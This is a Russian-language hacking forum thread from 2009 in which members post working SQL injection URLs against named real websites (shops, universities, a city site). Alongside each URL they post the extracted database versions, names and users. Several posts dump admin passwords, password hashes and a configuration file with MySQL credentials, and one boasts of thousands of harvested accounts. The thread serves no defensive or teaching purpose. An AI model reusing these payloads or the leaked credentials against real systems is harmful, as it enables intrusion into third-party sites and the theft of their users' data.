SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    опять вапики http://wap.geoline.ge/wap1.php?pg=gmlist&id=-358+union+select+concat_ws(0x3a,version(),database(),user()), 2

    5.0.33-log:mobicont:webserver@localhost
     
    _________________________
  2. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    _http://www.sportshop.com.ua/catalogue.php?CID=-27+union+select+1,2,3,concat_ws(version(),user(),database()),5,6,7,8--

    version():4.1.22-standard
    database():babymark_im
    user():babymark_akhar@localhost
     
    _________________________
  3. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    www.vetlek.ru
    Code:
    http://www.vetlek.ru/articles/?id=-1+union+select+1,2,3,concat(0x3a,version(),database(),user()),5,6,7,8--
    
    version():5.0.67-log
    database():u66995
    user():[email protected]
     
    #8963 L I G A, 27 Apr 2009
    Last edited by a moderator: 27 Apr 2009
    3 people like this.
  4. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    софтянки какие то

    softobzor.com.ua

    ТИЦ: 30
    PR: 3

    http://softobzor.com.ua/stat_info.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),us er()),3,4/*

    version():4.1.25
    database():softobzor
    user():softobzor_user@localhost
     
    _________________________
    #8964 HAXTA4OK, 27 Apr 2009
    Last edited: 27 Apr 2009
  5. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    ой слоник какой то

    http://loznitsa.ru/object.php?id=-1+union+sel ect+concat_ws(0x3a,version(),database(),user())--

    ТИЦ: 10
    PR: 1

    5.0.30-Debian_1-log:loznitsa_baze:[email protected]
     
    _________________________
    1 person likes this.
  6. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.othmar-karas.at/ok.php?ok=new_presse_zeigen.php&id=-1+union+select+1,2,unhex(hex(concat_ws(0x3a,user(),database(),version()))),4,5,6,7,8,9
    web1@localhost:web1:4.1.13
     
    1 person likes this.
  7. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    Пр5

    http://events.plu.edu/events.php?mode=&date=&subject=-65+union+select+LOAD_FILE(0x2F7777772F6576656E74732F696E636C756465732F636F6E6669672E706870),2,version()+from+mysql.user/*

    /*define("MYSQL_SERVER", "localhost");
    define("MYSQL_USERNAME", "webdev");
    define("MYSQL_PASSWORD", "taiWORC48");*/
    define("MYSQL_DB", "events_calendar");

    кто расковыряет дальше, стукните в ПМ (хотя, там походу, вход в админку по ай пи разрешёт)
     
  8. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Клуб"Шатура"- Официальный сайт>>
    Code:
    http://www.schkura.ru/vid/index.php?download=-8+union+selecT+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),8,9,0,1--+
    4.1.22-standard-log:schkura_mus:schkura@localhost:unknown-linux-gnu
     
  9. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.biker.dn.ua/notes/notes_view.php?id=-1+union+select+1,2,3,4, version()/*


    ТИЦ: 20
    PR: 3

    version():4.0.21-log
    database():biker_dn_u
    user():biker_dn_u
     
    _________________________
    1 person likes this.
  10. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    blind sql-inj
    Code:
    http://mqup.mcgill.ca/content.php?id=4+and+substring(@@version,1,1)=5
    Code:
    http://www.sttheresasugarland.org/content.php?id=13+and+substring(@@version,1,1)=5
    Code:
    http://www.ufs.ac.za/faculties/content.php?id=6355+and+substring(@@version,1,1)=5
    Code:
    http://www.nigfilmcorp.com/content.php?id=-7+union+select+1,2,concat_ws(0x3a3a,version(),database(),user()),4,5-- 
    4.1.22-max-log::nfcadmin::[email protected]
     
  11. Rav1n

    Rav1n Elder - Старейшина

    Joined:
    5 Nov 2008
    Messages:
    7
    Likes Received:
    21
    Reputations:
    11
    Code:
    http://www.rupedia.ru/showarticle.php?article=-12607+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user()),10,11,12/*
    version: 4.1.22-log
    database: wwwrupediaru_articles
    user: [email protected]
     
  12. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    не знаю интересно или нет но там что то с деньгами))

    ТИЦ: 10
    PR: 3

    http://komu.com.ua/index.php?Lev=b3&Id=-1'+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database() ,user())+--+

    5.0.77:komu_com_ua:komu.com.ua@localhost


    http://komu.com.ua/index.php?Lev=b3&Id=-1'+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,pass,email)+from+users +--+

    admin

    95a9ac6:[email protected]

    всего 6275 акк
     
    _________________________
  13. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    www.gmsn.ru
    Database Version: 4.1.16-1.gms
    Database name: w_gmsn
    User name: [email protected]


    1600 ТиЦ
     
    1 person likes this.
  14. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.viva-telecom.ru/SHOP/fullimage.php?id=2691&idfull=1955%27+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5+limit+1,1/*
    version():5.0.45
    database():wwwvivatelecomru
    user():vivatele@localhost
     
  15. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.flatsminsk.com/info.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x3a,version(),database(),user()), 13--

    5.0.67-community-log:flats_main:flats_main@localhost

    ТИЦ: 60
    PR: 3
     
    _________________________
    #8975 HAXTA4OK, 27 Apr 2009
    Last edited: 27 Apr 2009
    1 person likes this.
  16. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.coolhandfish.com/fish.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
    [email protected]:db166573204:4.0.27-stan
     
  17. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    Куча шопов))

    http://www.expo-shop.ru/show_cat.php?grid=1&catid=2'+union+select+1,2,3,concat(password),5,6,7,8,9,10+from+admin/*
    admin:4e5306301f075d39

    http://www.sanmag.ru/show_cat2.php?grid=10'+union+select+1,2,3,4,5,6,7,8/*

    http://elitmatras.ru/show_cat.php?catid=212'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*&grid=1

    http://office-r.ru/show_cat.php?catid=92'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*&grid=22

    http://svet-svetoch.ru/show_cat3.php?catid=59&grid=7&idcateg=141'+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*

    http://www.inetstyle.ru/show_cat2.php?grid=2'+union+select+1,2,3,concat(username,char(58),password),5,6,7,8,9,10+from+admin/*&catid=1&cen=&order=name&page=1
    admin:telegrad

    http://www.imperia-sna.ru/show_cat2.php?grid=702'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*--

    http://planetasnov.ru/show_cat.php?catid=5038'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*&grid=5037

    http://wedmarket.ru/show_cat2.php?grid=70000'++union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+admin/*

    http://www.interiorportal.ru/show_cat2.php?grid=-16000000'+union+select+1,2,3,concat(username,char(28),password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+admin+--+
    admin:lelybr2009

    http://www.elektro-inst.ru/show_cat2.php?grid=500018'+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17/*

    http://www.deja-interier.ru/show_cat.php?catid=5115'+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*&grid=5113

    http://latomir.ru/show_cat2.php?grid=1001'+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17/*

    http://www.zerogravity.ru/show_cat2.php?grid=1029000'++union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18/*

    http://gallerysilk.ru/show_cat2.php?grid=1000'+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17+from+admin/*

    http://superteks.ru/show_cat2.php?order=name&grid=20000'+order+by+19/*

    http://www.1000sumok.ru/show_cat2.php?grid=5058'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*

    http://www.portlandtx.com/news_archives.cfm?Id=-208+union+select+1,2,3,4,concat_ws(0x3a3a,username,password),6,7,8+from+users/*
    admin::F6DD58073ACB9111CD679C6597CFA024
    chief::6898E710591B1A087C116199C9FA133F
    sclarkson::81DD00DC9116352D6709E292C464B49A
    arodriguez::AEDE954108421A586EE11C78A82B9366
    apardo::2A218023E4AD3A32BBBA046271FB730E
    pwright::7AD0F14CF900538267C457BD0B353B3B
    abrooks::112D0BB629485166AC216C96C9B39909
    bstewart::8DBC2828A56856FC152437BD551628B5
    webmaster::8322E314ADDA52C357DCCF5E7E00F882
    publicworks::DB4C4FD9662222E31F106CBA6809C1CE
    melanie::DB70B2AC0544B912AAA8B93C37E24A38
     
  18. edichka

    edichka Member

    Joined:
    31 Jan 2009
    Messages:
    19
    Likes Received:
    14
    Reputations:
    0
    ccdastrophotography.com pr 4

    HTML:
    http://ccdastrophotography.com/object.php?id=-13%20union%20select%201,2,3,concat_ws(0x3a3a,database(),user(),version()),5,6,7,8,9,0,1,2,3
    
    ccd::ccd@localhost::5.0.51a-3ubuntu5.4
     
  19. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.elfarus.ru/index.php?action=pages&id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()), 4--

    5.0.77:elfarus_el:elfarus_el@localhost

    ТИЦ: 30
    PR: 4



    http://www.helsinki.ua/project.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(), user())/*


    5.0.44-log:helsinki_helsinki:alefvinal@localhost

    ТИЦ: 10
    PR: 3
     
    _________________________
    #8979 HAXTA4OK, 27 Apr 2009
    Last edited: 27 Apr 2009
  20. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.4thirds.co.uk/fish.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13+--+
    reesy_reesy77@localhost:reesy_gallery:4.1.22-standard
     
    1 person likes this.
Thread Status:
Not open for further replies.